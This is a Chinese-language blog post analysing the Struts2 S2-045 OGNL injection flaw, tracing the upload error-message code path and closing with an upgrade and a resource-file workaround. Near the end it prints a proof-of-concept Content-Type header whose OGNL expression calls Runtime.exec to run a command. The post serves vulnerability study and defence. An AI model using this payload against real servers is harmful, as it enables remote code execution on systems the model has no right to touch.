Struts2遠程命令執行漏洞 S2-045 源碼分析

Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞

漏洞分析

1. Struts 的上傳request

在上傳文件裏,Struts默認使用的是common upload 的上傳組件, 爲了能被action訪問到上傳的文件,通常會重新封裝request,  Spring也是這麼做。

JakartaStreamMultiPartRequest.java中

 public void parse(HttpServletRequest request, String saveDir)
            throws IOException {
        try {
            setLocale(request);
            processUpload(request, saveDir);
        } catch (Exception e) {
            e.printStackTrace();
            String errorMessage = buildErrorMessage(e, new Object[]{});
            if (!errors.contains(errorMessage))
                errors.add(errorMessage);
        }
    }

當解析上傳協議拋出異常的時候,struts 會去嘗試去構建錯誤信息

    
protected String buildErrorMessage(Throwable e, Object[] args) {
        String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
        if (LOG.isDebugEnabled()) {
            LOG.debug("Preparing error message for key: [#0]", errorKey);
        }
        return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
    }

爲了保證錯誤信息可以支持多語言,在構建上傳錯誤的時候,使用了localizedTextUtil,

1. 使用struts.messages.upload.error. classname 作爲資源的文件的key

2. 直接使用了異常的message 作爲查找的默認message

    public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
                                  ValueStack valueStack) {
        String indexedTextName = null;
  ......
        // get default
        GetDefaultMessageReturnArg result;
        if (indexedTextName == null) {
            result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
        } else {
            result = getDefaultMessage(aTextName, locale, valueStack, args, null);
            if (result != null && result.message != null) {
                return result.message;
            }
            result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
        }

        // could we find the text, if not log a warn
        if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
            String warn = "Unable to find text for key '" + aTextName + "' ";
            if (indexedTextName != null) {
                warn += " or indexed key '" + indexedTextName + "' ";
            }
            warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
            LOG.debug(warn);
        }

        return result != null ? result.message : null;
    }

struts 嘗試從default message裏獲取內容

/**
     * Gets the default message.
     */
    private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
                                                                String defaultMessage) {
        GetDefaultMessageReturnArg result = null;
        boolean found = true;

        if (key != null) {
            String message = findDefaultText(key, locale);

            if (message == null) {
                message = defaultMessage;
                found = false; // not found in bundles
            }

            // defaultMessage may be null
            if (message != null) {
                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

                String msg = formatWithNullDetection(mf, args);
                result = new GetDefaultMessageReturnArg(msg, found);
            }
        }

        return result;
    }

傳入的key無法在資源文件中找到的時候,會直接使用默認的message 也就是剛纔的異常的信息作爲返回的信息,但是在將message格式化的時候,struts定義的message 使用了TextParseUtil.translateVariables 轉化message裏的參數,熟悉OGNL的人都知道,TextParseUtil.translateVariables 是支持OGNL的

TextParseUtil.translateVariables

可以執行在message體中的${ognl}或者%{ognl}OGNL表達式格式

2. Common Upload file 的處理

既然在Struts裏是可以直接執行異常裏的錯誤信息,那麼在common upload file 組件的異常裏我們看看哪些是會把客戶端傳遞的值作爲錯誤信息返回

很幸運,我們在FileUploadBase.java中,發現了一個方法

FileItemIteratorImpl(RequestContext ctx)
                throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            }

            String contentType = ctx.getContentType();
            if ((null == contentType)
                    || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
                throw new InvalidContentTypeException(
                        format("the request doesn't contain a %s or %s stream, content type header is %s",
                               MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
            }

當content type不是以multipart/爲頭的時候,就會拋出異常,並且直接將客戶端輸入的信息,作爲異常信息返回


3.各自的content-type校驗

Struts 在dispatch 裏在封裝request的時候做了一次content-type校驗

    public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        // don't wrap more than once
        if (request instanceof StrutsRequestWrapper) {
            return request;
        }

        String content_type = request.getContentType();
        if (content_type != null && content_type.contains("multipart/form-data")) {
            MultiPartRequest mpr = getMultiPartRequest();
            LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
            request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
        } else {
            request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
        }

        return request;
    }

結果竟然是contains, 而在upload file裏做的校驗是以multipart/爲頭,真不知道struts 爲何在做標準協議解析的時候如此隨便?

構造我們的poc

a. 顯然是content-type入手

b. 構造 test multipart/form-data 繞過struts的dispatch的防禦

c.  繼續添加常見的OGNL的表達式 

%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

完整的POC 

content-type:test multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundary=AaB03x

防禦

1. 升級struts 

Struts 禁止了異常的信息可執行OGNL表達式,在2.3.32版本中

 if (LocalizedTextUtil.findText(this.getClass(), errorKey, getLocale(), null, new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
        } else {
            return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
        }
異常信息只是作爲參數傳遞顯示了


2. 臨時解決方案

在資源文件中配置,讓struts能從資源文件中獲取到值

struts.messages.upload.error.InvalidContentTypeException=exception 

注意:這裏要仔細檢查common upload的代碼,或者自己封裝的MultiPartRequest,如果還有直接輸出客戶端的輸入的時候,需要寫全

struts.messages.upload.error.*



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章